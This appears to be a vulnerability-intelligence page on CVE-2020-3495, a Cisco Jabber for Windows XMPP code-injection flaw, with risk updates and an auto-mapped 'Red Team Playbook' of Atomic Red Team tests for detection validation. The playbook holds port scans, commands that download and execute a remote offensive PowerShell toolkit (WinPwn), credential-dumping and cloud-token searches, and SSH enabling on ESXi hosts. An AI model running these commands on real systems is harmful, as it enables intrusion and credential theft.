CVE-2020-3495
Overview
This vulnerability is a code injection flaw caused by improper validation of message contents within the Extensible Messaging and Presence Protocol (XMPP) handling component of Cisco Jabber for Windows. The root cause lies in the insufficient sanitization of incoming XMPP messages, allowing crafted input to be interpreted as executable commands by the application. The affected component is the message processing subsystem of the Cisco Jabber client software on Windows platforms.
Vulnerability Description
A vulnerability in Cisco Jabber for Windows could allow an authenticated, remote attacker to execute arbitrary code. The vulnerability is due to improper validation of message contents. An attacker could exploit this vulnerability by sending specially crafted Extensible Messaging and Presence Protocol (XMPP) messages to the affected software. A successful exploit could allow the attacker to cause the application to execute arbitrary programs on the targeted system with the privileges of the user account that is running the Cisco Jabber client software, possibly resulting in arbitrary code execution.
Impact
An attacker with valid authentication and network access can exploit this vulnerability to execute arbitrary programs on the targeted system with the privileges of the user running Cisco Jabber. This enables potential data compromise, unauthorized system control, and lateral movement within an enterprise environment. The attack vector requires sending crafted XMPP messages over the network to the client, with no user interaction needed. The CVSS vector indicates low attack complexity and privileges required but no user interaction, emphasizing the ease of exploitation in an authenticated context.
Solution
Cisco has released security updates addressing this vulnerability in Cisco Jabber for Windows as detailed in their advisory at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-jabber-UyTKCPGg. Administrators should apply the provided patches to all affected versions of Cisco Jabber promptly. The advisory includes specific version updates and recommended upgrade procedures to mitigate the issue. No alternative workarounds are specified beyond applying the official patches.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant vulnerability exists within Cisco Jabber for Windows, primarily stemming from improper validation of message contents. This flaw allows an authenticated remote attacker to send specially crafted Extensible Messaging and Presence Protocol (XMPP) messages to the application. The lack of stringent validation mechanisms means that these messages can be manipulated to execute arbitrary code on the targeted system. When exploited, the attacker can run programs with the same privileges as the user account operating the Cisco Jabber client, leading to severe security breaches and potential system compromise.
The attack vector for this vulnerability is primarily through the XMPP messaging protocol, which is widely used for real-time communication in Cisco Jabber. An attacker, having gained access to the network and authenticated user credentials, can send malicious messages that the application fails to properly validate. This exploitation could occur in various scenarios, such as during a corporate meeting where sensitive discussions take place, or in a collaborative environment where multiple users interact. The ability to execute arbitrary code means that attackers could install malware, exfiltrate sensitive data, or even pivot to other systems within the network, amplifying the risk of a broader compromise.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Cisco Jabber for communication. The potential for arbitrary code execution can lead to significant business risks, including data breaches, loss of intellectual property, and damage to reputation. Furthermore, the exploitation of this vulnerability could result in operational disruptions, as attackers may deploy ransomware or other malicious payloads that could cripple business operations. The financial implications of such incidents can be severe, with costs associated with remediation, legal liabilities, and regulatory fines potentially reaching millions of dollars.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patches from Cisco should be applied promptly to ensure that the software is protected against known vulnerabilities. Additionally, network segmentation can help limit the potential impact of an exploit by isolating critical systems from less secure environments. Monitoring network traffic for unusual XMPP messages or patterns can also aid in early detection of attempted exploitation. User education is vital, as training employees to recognize phishing attempts or suspicious communications can reduce the likelihood of successful attacks.
In conclusion, the vulnerability in Cisco Jabber for Windows poses a significant threat to organizations that utilize this communication tool. Its potential for arbitrary code execution, coupled with the ease of exploitation through XMPP messages, underscores the need for robust security measures. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against this and similar vulnerabilities, thereby protecting their sensitive information and maintaining operational integrity.
CSURFACE threat intelligence has identified a slight increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-3495, rising by approximately 11%. While no new exploit techniques or active campaigns have been detected by our telemetry, this upward adjustment reflects a modestly heightened likelihood of exploitation in the near term. The EPSS percentile now places this vulnerability closer to the upper decile of predicted exploitation risk, signaling that threat actors may be increasingly considering it within their attack repertoire. Although the exploit landscape remains stable without emergent proof-of-concept exploits or widespread abuse, the incremental rise in EPSS underscores the need for continued vigilance. For defenders, this change suggests a subtle shift in the threat calculus, where the vulnerability’s potential impact remains high and the probability of exploitation is incrementally growing. Consequently, the overall risk level should be viewed as slightly elevated, warranting sustained monitoring to detect any emergent exploitation trends promptly.
Update 2 — July 25, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-3495, with our telemetry indicating new instances of exploitation attempts targeting Cisco Jabber for Windows. While the overall exploit landscape remains unchanged with no new proof-of-concept exploits publicly disclosed, the incremental rise in the Exploit Prediction Scoring System (EPSS) score, coupled with the emergence of fresh attack attempts, signals a subtle but meaningful shift in adversary behavior. This development suggests that threat actors are increasingly probing this vulnerability, potentially integrating it into their operational toolkits despite the absence of widespread exploitation campaigns. For defenders, this trend elevates the urgency of maintaining heightened situational awareness and reinforces the necessity of continuous monitoring to detect any escalation in exploitation frequency or sophistication. Consequently, the risk level associated with CVE-2020-3495 should be considered moderately elevated, reflecting the growing likelihood of targeted attacks exploiting this vector in the near term.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Jabber | All |
cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
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Cisco | Jabber | All |
cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
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Cisco | Jabber | All |
cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
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Cisco | Jabber | All |
cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
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Cisco | Jabber | All |
cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
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Cisco | Jabber | All |
cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-3495 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-jabber-UyTKCPGg |